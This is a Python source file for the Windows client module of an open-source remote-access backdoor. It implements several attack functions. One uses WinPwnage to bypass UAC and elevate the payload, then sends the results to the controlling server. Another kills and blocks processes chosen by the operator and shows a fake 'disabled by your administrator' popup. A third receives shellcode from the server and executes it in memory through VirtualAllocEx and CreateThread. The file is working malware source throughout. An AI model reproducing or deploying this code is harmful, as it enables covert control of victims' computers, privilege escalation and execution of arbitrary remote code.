```python
"""
https://github.com/xp4xbox/Python-Backdoor

@author    xp4xbox
"""
import ctypes
import os
import subprocess
import sys
import threading
import time

import pythoncom
import wmi

from io import StringIO

from src.client.control.control import Control
from src.definitions.commands import *

from winpwnage.core.scanner import function as elevate
from winpwnage.core.error import WinPwnageError


class Windows(Control):
    def __init__(self, _es):
        super().__init__(_es)

    # elevate with WinPwnage
    def elevate(self):
        old_stdout = sys.stdout

        # capture stdout for sending back to server
        sys.stdout = stdout = StringIO()

        payload = [f"{os.path.realpath(sys.argv[0])}"]

        # support for py file only
        if payload[0].endswith(".py"):
            payload = [f"{sys.executable}", f"\"{payload[0]}\""]

        for i in range(1, 8):
            try:
                elevate(uac=True, persist=False, elevate=False).run(id=str(i),
                                                                    payload=payload)
                break
            except WinPwnageError:
                pass

        stdout.seek(0)
        output = stdout.read()
        sys.stdout = old_stdout

        self.es.sendall_json(SUCCESS, output)

    def lock(self):
        ctypes.windll.user32.LockWorkStation()
    def toggle_disable_process(self, process, popup):
        process = process.lower()

        if process in self.disabled_processes.keys() and self.disabled_processes.get(process):
            self.disabled_processes[process] = False
            self.es.send_json(SUCCESS, f"process {process} re-enabled")
            return
        else:
            self.disabled_processes[process] = True
            self.es.send_json(SUCCESS, f"process {process} disabled")

        # kill process if its running
        subprocess.Popen(["taskkill", "/f", "/im", process], stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                         stdin=subprocess.PIPE, shell=True)

        def message_box(message, title, values):
            threading.Thread(target=lambda: ctypes.windll.user32.MessageBoxW(0, message, title, values)).start()

        def block_process():
            pythoncom.CoInitialize()

            c = wmi.WMI(moniker="winmgmts:{impersonationLevel=impersonate}!//./root/cimv2")

            watcher = c.watch_for(raw_wql="SELECT * from __instancecreationevent within 1 WHERE TargetInstance isa "
                                          "'Win32_Process'")

            while True:
                process_wmi = watcher()

                if not self.disabled_processes.get(process):
                    break

                if process_wmi.Name.lower() == process:
                    process_wmi.Terminate()

                    if popup:
                        message_box(f"{process} has been disabled by your administrator", title=process,
                                    values=0x0 | 0x10 | 0x40000)

        threading.Thread(target=block_process, daemon=True).start()
    # tested on x86 and x64, shellcode must be generated using the same architecture as python interpreter x64 fix
    # from https://stackoverflow.com/questions/60198918/virtualalloc-and-python-access-violation/61258392#61258392
    def inject_shellcode(self, buffer):
        shellcode = self.es.recvall(buffer)

        pid = os.getpid()

        try:
            shellcode = bytearray(shellcode.decode('unicode-escape').encode('ISO-8859-1'))

            h_process = ctypes.windll.kernel32.OpenProcess(0x001F0FFF, False, int(pid))

            if not h_process:
                raise Exception(f"Could not acquire pid on {pid}")

            ctypes.windll.kernel32.VirtualAllocEx.restype = ctypes.c_void_p
            ctypes.windll.kernel32.RtlMoveMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
            ctypes.windll.kernel32.CreateThread.argtypes = \
                (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int,
                 ctypes.POINTER(ctypes.c_int))

            ptr = ctypes.windll.kernel32.VirtualAllocEx(h_process, 0, ctypes.c_int(len(shellcode)),
                                                        ctypes.c_int(0x3000),
                                                        ctypes.c_int(0x40))

            buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

            ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_size_t(len(shellcode)))

            ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ptr, ctypes.c_int(0),
                                                ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))

            # wait a few seconds to see if client crashes
            time.sleep(3)

        except Exception as e:
            self.es.send_json(ERROR, f"Error injecting shellcode {e}")
        else:
            self.es.send_json(SUCCESS)
```